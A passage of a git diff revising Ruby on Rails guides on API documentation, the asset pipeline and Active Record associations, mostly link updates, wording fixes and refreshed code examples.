+[markup](https://ruby.github.io/rdoc/RDoc/Markup.html),
and also take into account these [additional
-directives](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html).
+directives](https://ruby.github.io/rdoc/RDoc/Parser/Ruby.html).
Wording
-------
@@ -53,7 +53,7 @@ Documentation has to be concise but comprehensive. Explore and document edge cas
The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
-Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
+Spell names correctly: Arel, minitest, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
@@ -82,12 +82,12 @@ used. Instead of:
English
-------
-Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](https://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
Oxford Comma
------------
-Please use the [Oxford comma](http://en.wikipedia.org/wiki/Serial_comma)
+Please use the [Oxford comma](https://en.wikipedia.org/wiki/Serial_comma)
("red, white, and blue", instead of "red, white and blue").
Example Code
@@ -281,7 +281,7 @@ Methods created with `(module|class)_eval(STRING)` have a comment by their side
```ruby
for severity in Severity.constants
- class_eval <<-EOT, __FILE__, __LINE__
+ class_eval <<-EOT, __FILE__, __LINE__ + 1
def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block)
add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block)
end # end
@@ -333,10 +333,6 @@ As a contributor, it's important to think about whether this API is meant for en
A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly.
-If you come across an existing `:nodoc:` you should tread lightly. Consider asking someone from the core team or author of the code before removing it. This should almost always happen through a pull request instead of the docrails project.
-
-A `:nodoc:` should never be added simply because a method or class is missing documentation. There may be an instance where an internal public method wasn't given a `:nodoc:` by mistake, for example when switching a method from private to public visibility. When this happens it should be discussed over a PR on a case-by-case basis and never committed directly to docrails.
-
To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.
Regarding the Rails Stack
@@ -354,7 +350,7 @@ into account, one such example is
```ruby
# image_tag("icon.png")
-# # => <img alt="Icon" src="/assets/icon.png" />
+# # => <img src="/assets/icon.png" />
```
Although the default behavior for `#image_tag` is to always return
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
index 68dde4482f..bf046a3341 100644
--- a/guides/source/asset_pipeline.md
+++ b/guides/source/asset_pipeline.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
The Asset Pipeline
==================
@@ -20,10 +20,9 @@ What is the Asset Pipeline?
The asset pipeline provides a framework to concatenate and minify or compress
JavaScript and CSS assets. It also adds the ability to write these assets in
-other languages and pre-processors such as CoffeeScript, Sass and ERB.
+other languages and pre-processors such as CoffeeScript, Sass, and ERB.
It allows assets in your application to be automatically combined with assets
-from other gems. For example, jquery-rails includes a copy of jquery.js
-and enables AJAX features in Rails.
+from other gems.
The asset pipeline is implemented by the
[sprockets-rails](https://github.com/rails/sprockets-rails) gem,
@@ -35,7 +34,7 @@ rails new appname --skip-sprockets
```
Rails automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
-gems to your Gemfile, which are used by Sprockets for asset compression:
+gems to your `Gemfile`, which are used by Sprockets for asset compression:
```ruby
gem 'sass-rails'
@@ -44,8 +43,8 @@ gem 'coffee-rails'
```
Using the `--skip-sprockets` option will prevent Rails from adding
-them to your Gemfile, so if you later want to enable
-the asset pipeline you will have to add those gems to your Gemfile. Also,
+them to your `Gemfile`, so if you later want to enable
+the asset pipeline you will have to add those gems to your `Gemfile`. Also,
creating an application with the `--skip-sprockets` option will generate
a slightly different `config/application.rb` file, with a require statement
for the sprockets railtie that is commented-out. You will have to remove
@@ -65,7 +64,7 @@ config.assets.js_compressor = :uglifier
```
NOTE: The `sass-rails` gem is automatically used for CSS compression if included
-in the Gemfile and no `config.assets.css_compressor` option is set.
+in the `Gemfile` and no `config.assets.css_compressor` option is set.
### Main Features
@@ -154,7 +153,7 @@ environments. You can enable or disable it in your configuration through the
More reading:
-* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
+* [Optimize caching](https://developers.google.com/speed/docs/insights/LeverageBrowserCaching)
* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
@@ -181,7 +180,7 @@ When you generate a scaffold or a controller, Rails also generates a JavaScript
file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a
Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`)
for that controller. Additionally, when generating a scaffold, Rails generates
-the file scaffolds.css (or scaffolds.scss if `sass-rails` is in the
+the file `scaffolds.css` (or `scaffolds.scss` if `sass-rails` is in the
`Gemfile`.)
For example, if you generate a `ProjectsController`, Rails will also add a new
@@ -202,7 +201,7 @@ will result in your assets being included more than once.
WARNING: When using asset precompilation, you will need to ensure that your
controller assets will be precompiled when loading them on a per page basis. By
-default .coffee and .scss files will not be precompiled on their own. See
+default `.coffee` and `.scss` files will not be precompiled on their own. See
[Precompiling Assets](#precompiling-assets) for more information on how
precompiling works.
@@ -225,7 +224,7 @@ Pipeline assets can be placed inside an application in one of three locations:
`app/assets`, `lib/assets` or `vendor/assets`.
* `app/assets` is for assets that are owned by the application, such as custom
-images, JavaScript files or stylesheets.
+images, JavaScript files, or stylesheets.
* `lib/assets` is for your own libraries' code that doesn't really fit into the
scope of the application or those libraries which are shared across applications.
@@ -283,10 +282,10 @@ You can view the search path by inspecting
`Rails.application.config.assets.paths` in the Rails console.
Besides the standard `assets/*` paths, additional (fully qualified) paths can be
-added to the pipeline in `config/application.rb`. For example:
+added to the pipeline in `config/initializers/assets.rb`. For example:
```ruby
-config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+Rails.application.config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
```
Paths are traversed in the order they occur in the search path. By default,
@@ -335,7 +334,7 @@ an asset has been updated and if so loads it into the page:
<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %>
```
-In regular views you can access images in the `public/assets/images` directory
+In regular views you can access images in the `app/assets/images` directory
like this:
```erb
@@ -383,7 +382,7 @@ it would make sense to have an image in one of the asset load paths, such as
already available in `public/assets` as a fingerprinted file, then that path is
referenced.
-If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -
+If you want to use a [data URI](https://en.wikipedia.org/wiki/Data_URI_scheme) -
a method of embedding the image data directly into the CSS file - you can use
the `asset_data_uri` helper.
@@ -435,7 +434,7 @@ Sprockets uses manifest files to determine which assets to include and serve.
These manifest files contain _directives_ - instructions that tell Sprockets
which files to require in order to build a single CSS or JavaScript file. With
these directives, Sprockets loads the files specified, processes them if
-necessary, concatenates them into one single file and then compresses them
+necessary, concatenates them into one single file, and then compresses them
(based on value of `Rails.application.config.assets.js_compressor`). By serving
one file rather than many, the load time of pages can be greatly reduced because
the browser makes fewer requests. Compression also reduces file size, enabling
@@ -447,15 +446,15 @@ For example, a new Rails application includes a default
```js
// ...
-//= require jquery
-//= require jquery_ujs
+//= require rails-ujs
+//= require turbolinks
//= require_tree .
```
In JavaScript files, Sprockets directives begin with `//=`. In the above case,
the file is using the `require` and the `require_tree` directives. The `require`
directive is used to tell Sprockets the files you wish to require. Here, you are
-requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere
+requiring the files `rails-ujs.js` and `turbolinks.js` that are available somewhere
in the search path for Sprockets. You need not supply the extensions explicitly.
Sprockets assumes you are requiring a `.js` file when done from within a `.js`
file.
@@ -572,20 +571,6 @@ would generate this HTML:
The `body` param is required by Sprockets.
-### Runtime Error Checking
-
-By default the asset pipeline will check for potential errors in development mode during
-runtime. To disable this behavior you can set:
-
-```ruby
-config.assets.raise_runtime_errors = false
-```
-
-When this option is true, the asset pipeline will check if all the assets loaded
-in your application are included in the `config.assets.precompile` list.
-If `config.assets.digest` is also true, the asset pipeline will require that
-all requests for assets include digests.
-
### Raise an Error When an Asset is Not Found
If you are using sprockets-rails >= 3.2.0 you can configure what happens
@@ -688,20 +673,20 @@ content changes.
### Precompiling Assets
-Rails comes bundled with a task to compile the asset manifests and other
+Rails comes bundled with a command to compile the asset manifests and other
files in the pipeline.
Compiled assets are written to the location specified in `config.assets.prefix`.
By default, this is the `/assets` directory.
-You can call this task on the server during deployment to create compiled
+You can call this command on the server during deployment to create compiled
versions of your assets directly on the server. See the next section for
information on compiling locally.
-The task is:
+The command is:
```bash
-$ RAILS_ENV=production bin/rails assets:precompile
+$ RAILS_ENV=production rails assets:precompile
```
Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment.
@@ -713,7 +698,7 @@ load 'deploy/assets'
This links the folder specified in `config.assets.prefix` to `shared/assets`.
If you already use this shared folder you'll need to write your own deployment
-task.
+command.
It is important that this folder is shared between deployments so that remotely
cached pages referencing the old compiled assets still work for the life of
@@ -740,11 +725,11 @@ include, you can add them to the `precompile` array in `config/initializers/asse
Rails.application.config.assets.precompile += %w( admin.js admin.css )
```
-NOTE. Always specify an expected compiled filename that ends with .js or .css,
+NOTE. Always specify an expected compiled filename that ends with `.js` or `.css`,
even if you want to add Sass or CoffeeScript files to the precompile array.
-The task also generates a `.sprockets-manifest-md5hash.json` (where `md5hash` is
-an MD5 hash) that contains a list with all your assets and their respective
+The command also generates a `.sprockets-manifest-randomhex.json` (where `randomhex` is
+a 16-byte random hex string) that contains a list with all your assets and their respective
fingerprints. This is used by the Rails helper methods to avoid handing the
mapping requests back to Sprockets. A typical manifest file looks like:
@@ -860,22 +845,22 @@ signals all caches between your server and the client browser that this content
number of requests for this asset from your server; the asset has a good chance
of being in the local browser cache or some intermediate cache.
-This mode uses more memory, performs more poorly than the default and is not
+This mode uses more memory, performs more poorly than the default, and is not
recommended.
If you are deploying a production application to a system without any
-pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+pre-existing JavaScript runtimes, you may want to add one to your `Gemfile`:
```ruby
group :production do
- gem 'therubyracer'
+ gem 'mini_racer'
end
```
### CDNs
CDN stands for [Content Delivery
-Network](http://en.wikipedia.org/wiki/Content_delivery_network), they are
+Network](https://en.wikipedia.org/wiki/Content_delivery_network), they are
primarily designed to cache assets all over the world so that when a browser
requests the asset, a cached copy will be geographically close to that browser.
If you are serving assets directly from your Rails server in production, the
@@ -923,7 +908,7 @@ domain, you do not need to specify a protocol or "scheme" such as `http://` or
that is generated will match how the webpage is accessed by default.
You can also set this value through an [environment
-variable](http://en.wikipedia.org/wiki/Environment_variable) to make running a
+variable](https://en.wikipedia.org/wiki/Environment_variable) to make running a
staging copy of your site easier:
```
@@ -932,7 +917,7 @@ config.action_controller.asset_host = ENV['CDN_HOST']
-Note: You would need to set `CDN_HOST` on your server to `mycdnsubdomain
+NOTE: You would need to set `CDN_HOST` on your server to `mycdnsubdomain
.fictional-cdn.com` for this to work.
Once you have configured your server and your CDN when you serve a webpage that
@@ -1083,7 +1068,7 @@ Customizing the Pipeline
### CSS Compression
One of the options for compressing CSS is YUI. The [YUI CSS
-compressor](http://yui.github.io/yuicompressor/css.html) provides
+compressor](https://yui.github.io/yuicompressor/css.html) provides
minification.
The following line enables YUI compression, and requires the `yui-compressor`
@@ -1104,7 +1089,7 @@ Possible options for JavaScript compression are `:closure`, `:uglifier` and
`:yui`. These require the use of the `closure-compiler`, `uglifier` or
`yui-compressor` gems, respectively.
-The default Gemfile includes [uglifier](https://github.com/lautis/uglifier).
+The default `Gemfile` includes [uglifier](https://github.com/lautis/uglifier).
This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for
NodeJS) in Ruby. It compresses your code by removing white space and comments,
shortening local variable names, and performing other micro-optimizations such
@@ -1219,10 +1204,10 @@ Adding Assets to Your Gems
Assets can also come from external sources in the form of gems.
-A good example of this is the `jquery-rails` gem which comes with Rails as the
-standard JavaScript library gem. This gem contains an engine class which
-inherits from `Rails::Engine`. By doing this, Rails is informed that the
-directory for this gem may contain assets and the `app/assets`, `lib/assets` and
+A good example of this is the `jquery-rails` gem.
+This gem contains an engine class which inherits from `Rails::Engine`.
+By doing this, Rails is informed that the directory for this
+gem may contain assets and the `app/assets`, `lib/assets` and
`vendor/assets` directories of this engine are added to the search path of
Sprockets.
@@ -1233,7 +1218,7 @@ Sprockets uses Processors, Transformers, Compressors, and Exporters to extend
Sprockets functionality. Have a look at
[Extending Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md)
to learn more. Here we registered a preprocessor to add a comment to the end
-of text/css (.css) files.
+of text/css (`.css`) files.
```ruby
module AddComment
@@ -1258,11 +1243,7 @@ moving the files from `public/` to the new locations. See [Asset
Organization](#asset-organization) above for guidance on the correct locations
for different file types.
-Next will be avoiding duplicate JavaScript files. Since jQuery is the default
-JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js`
-into `app/assets` and it will be included automatically.
-
-The third is updating the various environment files with the correct default
+Next is updating the various environment files with the correct default
options.
In `application.rb`:
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
index 6e68935f9b..008c7345e9 100644
--- a/guides/source/association_basics.md
+++ b/guides/source/association_basics.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Record Associations
==========================
@@ -94,9 +94,9 @@ class Book < ApplicationRecord
end
```
-![belongs_to Association Diagram](images/belongs_to.png)
+![belongs_to Association Diagram](images/association_basics/belongs_to.png)
-NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `author` association in the `Book` model, you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
+NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `author` association in the `Book` model and tried to create the instance by `Book.create(authors: @author)`, you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
The corresponding migration might look like this:
@@ -127,7 +127,7 @@ class Supplier < ApplicationRecord
end
```
-![has_one Association Diagram](images/has_one.png)
+![has_one Association Diagram](images/association_basics/has_one.png)
The corresponding migration might look like this:
@@ -154,7 +154,7 @@ case, the column definition might look like this:
```ruby
create_table :accounts do |t|
- t.belongs_to :supplier, index: true, unique: true, foreign_key: true
+ t.belongs_to :supplier, index: { unique: true }, foreign_key: true
# ...
end
```
@@ -171,7 +171,7 @@ end
NOTE: The name of the other model is pluralized when declaring a `has_many` association.
-![has_many Association Diagram](images/has_many.png)
+![has_many Association Diagram](images/association_basics/has_many.png)
The corresponding migration might look like this:
@@ -213,7 +213,7 @@ class Patient < ApplicationRecord
end
```
-![has_many :through Association Diagram](images/has_many_through.png)
+![has_many :through Association Diagram](images/association_basics/has_many_through.png)
The corresponding migration might look like this:
@@ -299,7 +299,7 @@ class AccountHistory < ApplicationRecord
end
```
-![has_one :through Association Diagram](images/has_one_through.png)
+![has_one :through Association Diagram](images/association_basics/has_one_through.png)
The corresponding migration might look like this:
@@ -340,7 +340,7 @@ class Part < ApplicationRecord
end
```
-![has_and_belongs_to_many Association Diagram](images/habtm.png)
+![has_and_belongs_to_many Association Diagram](images/association_basics/habtm.png)
The corresponding migration might look like this:
@@ -439,7 +439,7 @@ end
The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database).
-You should use `has_many :through` if you need validations, callbacks or extra attributes on the join model.
+You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model.
### Polymorphic Associations
@@ -494,7 +494,7 @@ class CreatePictures < ActiveRecord::Migration[5.0]
end
```
-![Polymorphic Association Diagram](images/polymorphic.png)
+![Polymorphic Association Diagram](images/association_basics/polymorphic.png)
### Self Joins
@@ -505,7 +505,7 @@ class Employee < ApplicationRecord
has_many :subordinates, class_name: "Employee",
foreign_key: "manager_id"
- belongs_to :manager, class_name: "Employee"
+ belongs_to :manager, class_name: "Employee", optional: true
end
```
@@ -572,27 +572,35 @@ class Book < ApplicationRecord
end
```
-This declaration needs to be backed up by the proper foreign key declaration on the books table:
+This declaration needs to be backed up by a corresponding foreign key column in the books table. For a brand new table, the migration might look something like this:
```ruby
class CreateBooks < ActiveRecord::Migration[5.0]
def change
create_table :books do |t|
- t.datetime :published_at
- t.string :book_number
- t.integer :author_id
+ t.datetime :published_at
+ t.string :book_number
+ t.references :author
end
+ end
+end
+```
+
+Whereas for an existing table, it might look like this:
- add_index :books, :author_id
+```ruby
+class AddAuthorToBooks < ActiveRecord::Migration[5.0]
+ def change
+ add_reference :books, :author
end
end
```
-If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key.
+NOTE: If you wish to [enforce referential integrity at the database level](/active_record_migrations.html#foreign-keys), add the `foreign_key: true` option to the ‘reference’ column declarations above.
#### Creating Join Tables for `has_and_belongs_to_many` Associations
-If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical book of the class names. So a join between author and book models will give the default join table name of "authors_books" because "a" outranks "b" in lexical ordering.
+If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between author and book models will give the default join table name of "authors_books" because "a" outranks "b" in lexical ordering.
WARNING: The precedence between model names is calculated using the `<=>` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings).
@@ -647,11 +655,11 @@ By default, associations look for objects only within the current module's scope
module MyApplication
module Business
class Supplier < ApplicationRecord
- has_one :account
+ has_one :account
end
class Account < ApplicationRecord
- belongs_to :supplier
+ belongs_to :supplier
end
end
end
@@ -663,13 +671,13 @@ This will work fine, because both the `Supplier` and the `Account` class are def
module MyApplication
module Business
class Supplier < ApplicationRecord
- has_one :account
+ has_one :account
end
end
module Billing
class Account < ApplicationRecord
- belongs_to :supplier
+ belongs_to :supplier
end
end
end
@@ -681,14 +689,14 @@ To associate a model with a model in a different namespace, you must specify the
module MyApplication
module Business
class Supplier < ApplicationRecord
- has_one :account,
+ has_one :account,
class_name: "MyApplication::Billing::Account"
end
end
module Billing
class Account < ApplicationRecord
- belongs_to :supplier,
+ belongs_to :supplier,
class_name: "MyApplication::Business::Supplier"
end
end
@@ -719,12 +727,9 @@ a.first_name = 'David'
a.first_name == b.author.first_name # => true
```
-Active Record supports automatic identification for most associations with standard names. However, Active Record will not automatically identify bi-directional associations that contain any of the following options:
+Active Record supports automatic identification for most associations with standard names. However, Active Record will not automatically identify bi-directional associations that contain a scope or any of the following options:
-* `:conditions`
* `:through`
-* `:polymorphic`
-* `:class_name`
* `:foreign_key`
For example, consider the following model declarations:
@@ -771,12 +776,6 @@ a.first_name = 'David'
a.first_name == b.writer.first_name # => true
```
-There are a few limitations to `:inverse_of` support:
-
-* They do not work with `:through` associations.
-* They do not work with `:polymorphic` associations.
-* They do not work with `:as` associations.
-
Detailed Association Reference
------------------------------
@@ -788,13 +787,14 @@ The `belongs_to` association creates a one-to-one match with another model. In d
#### Methods Added by `belongs_to`
-When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association:
+When you declare a `belongs_to` association, the declaring class automatically gains 6 methods related to the association:
* `association`
* `association=(associate)`
* `build_association(attributes = {})`
* `create_association(attributes = {})`
* `create_association!(attributes = {})`
+* `reload_association`
In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
@@ -812,6 +812,7 @@ author=
build_author
create_author
create_author!
+reload_author
```
NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
@@ -824,10 +825,10 @@ The `association` method returns the associated object, if any. If no associated
@author = @book.author
```
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object.
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload_association` on the parent object.
```ruby
-@author = @book.reload.author
+@author = @book.reload_author
```
##### `association=(associate)`
@@ -888,7 +889,7 @@ The `belongs_to` association supports these options:
##### `:autosave`
-If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+If you set the `:autosave` option to `true`, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting `:autosave` to `false` is not the same as not setting the `:autosave` option. If the `:autosave` option is not present, then new associated objects will be saved, but updated associated objects will not be saved.
##### `:class_name`
@@ -944,19 +945,18 @@ class Author < ApplicationRecord
end
```
-NOTE: You only need to specify the :counter_cache option on the `belongs_to`
+NOTE: You only need to specify the `:counter_cache` option on the `belongs_to`
side of the association.
Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
##### `:dependent`
-Controls what happens to associated objects when their owner is destroyed:
+If you set the `:dependent` option to:
-* `:destroy` causes the associated objects to also be destroyed.
-* `:delete_all` causes the associated objects to be deleted directly from the database (callbacks are not executed).
-* `:nullify` causes the foreign keys to be set to `NULL` (callbacks are not executed).
-* `:restrict_with_exception` causes an exception to be raised if there are associated records.
-* `:restrict_with_error` causes an error to be added to the owner if there are associated objects.
+* `:destroy`, when the object is destroyed, `destroy` will be called on its
+associated objects.
+* `:delete`, when the object is destroyed, all its associated objects will be
+deleted directly from the database without calling their `destroy` method.
WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
@@ -995,7 +995,7 @@ When we execute `@user.todos.create` then the `@todo` record will have its
##### `:inverse_of`
-The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options.
+The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association.
```ruby
class Author < ApplicationRecord
@@ -1065,7 +1065,7 @@ You can use any of the standard [querying methods](active_record_querying.html)
The `where` method lets you specify the conditions that the associated object must meet.
```ruby
-class book < ApplicationRecord
+class Book < ApplicationRecord
belongs_to :author, -> { where active: true }
end
```
@@ -1138,13 +1138,14 @@ The `has_one` association creates a one-to-one match with another model. In data
#### Methods Added by `has_one`
-When you declare a `has_one` association, the declaring class automatically gains five methods related to the association:
+When you declare a `has_one` association, the declaring class automatically gains 6 methods related to the association:
* `association`
* `association=(associate)`
* `build_association(attributes = {})`
* `create_association(attributes = {})`
* `create_association!(attributes = {})`
+* `reload_association`
In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
@@ -1162,6 +1163,7 @@ account=
build_account
create_account
create_account!
+reload_account
```
NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
@@ -1174,10 +1176,10 @@ The `association` method returns the associated object, if any. If no associated
@account = @supplier.account
```
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object.
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload_association` on the parent object.
```ruby
-@account = @supplier.reload.account
+@account = @supplier.reload_account
```
##### `association=(associate)`
@@ -1238,7 +1240,7 @@ Setting the `:as` option indicates that this is a polymorphic association. Polym
##### `:autosave`
-If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+If you set the `:autosave` option to `true`, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting `:autosave` to `false` is not the same as not setting the `:autosave` option. If the `:autosave` option is not present, then new associated objects will be saved, but updated associated objects will not be saved.
##### `:class_name`
@@ -1280,7 +1282,7 @@ TIP: In any case, Rails will not create foreign key columns for you. You need to
##### `:inverse_of`
-The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association.
```ruby
class Supplier < ApplicationRecord
@@ -1401,7 +1403,7 @@ If either of these saves fails due to validation errors, then the assignment sta
If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.
-If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method.
+If you want to assign an object to a `has_one` association without saving the object, use the `build_association` method.
### `has_many` Association Reference
@@ -1409,7 +1411,7 @@ The `has_many` association creates a one-to-many relationship with another model
#### Methods Added by `has_many`
-When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association:
+When you declare a `has_many` association, the declaring class automatically gains 17 methods related to the association:
* `collection`
* `collection<<(object, ...)`
@@ -1427,6 +1429,7 @@ When you declare a `has_many` association, the declaring class automatically gai
* `collection.build(attributes = {}, ...)`
* `collection.create(attributes = {})`
* `collection.create!(attributes = {})`
+* `collection.reload`
In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
@@ -1455,11 +1458,12 @@ books.exists?(...)
books.build(attributes = {}, ...)
books.create(attributes = {})
books.create!(attributes = {})
+books.reload
```
##### `collection`
-The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+The `collection` method returns a Relation of all of the associated objects. If there are no associated objects, it returns an empty Relation.
```ruby
@books = @author.books
@@ -1540,10 +1544,11 @@ The `collection.size` method returns the number of objects in the collection.
##### `collection.find(...)`
-The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as
+[`ActiveRecord::Base.find`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find).
```ruby
-@available_books = @author.books.find(1)
+@available_book = @author.books.find(1)
```
##### `collection.where(...)`
@@ -1593,6 +1598,14 @@ The `collection.create` method returns a single or array of new objects of the a
Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+##### `collection.reload`
+
+The `collection.reload` method returns a Relation of all of the associated objects, forcing a database read. If there are no associated objects, it returns an empty Relation.
+
+```ruby
+@books = @author.books.reload
+```
+
#### Options for `has_many`
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
@@ -1624,7 +1637,7 @@ Setting the `:as` option indicates that this is a polymorphic association, as di
##### `:autosave`
-If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+If you set the `:autosave` option to `true`, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting `:autosave` to `false` is not the same as not setting the `:autosave` option. If the `:autosave` option is not present, then new associated objects will be saved, but updated associated objects will not be saved.
##### `:class_name`
@@ -1664,7 +1677,7 @@ TIP: In any case, Rails will not create foreign key columns for you. You need to
##### `:inverse_of`
-The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association.
```ruby
class Author < ApplicationRecord
@@ -1815,7 +1828,7 @@ The `limit` method lets you restrict the total number of objects that will be fe
class Author < ApplicationRecord
has_many :recent_books,
-> { order('published_at desc').limit(100) },
- class_name: "Book",
+ class_name: "Book"
end
```
@@ -1931,7 +1944,7 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi
#### Methods Added by `has_and_belongs_to_many`
-When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association:
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 17 methods related to the association:
* `collection`
* `collection<<(object, ...)`
@@ -1949,6 +1962,7 @@ When you declare a `has_and_belongs_to_many` association, the declaring class au
* `collection.build(attributes = {})`
* `collection.create(attributes = {})`
* `collection.create!(attributes = {})`
+* `collection.reload`
In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
@@ -1977,6 +1991,7 @@ assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
assemblies.create!(attributes = {})
+assemblies.reload
```
##### Additional Column Methods
@@ -1988,7 +2003,7 @@ WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_
##### `collection`
-The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+The `collection` method returns a Relation of all of the associated objects. If there are no associated objects, it returns an empty Relation.
```ruby
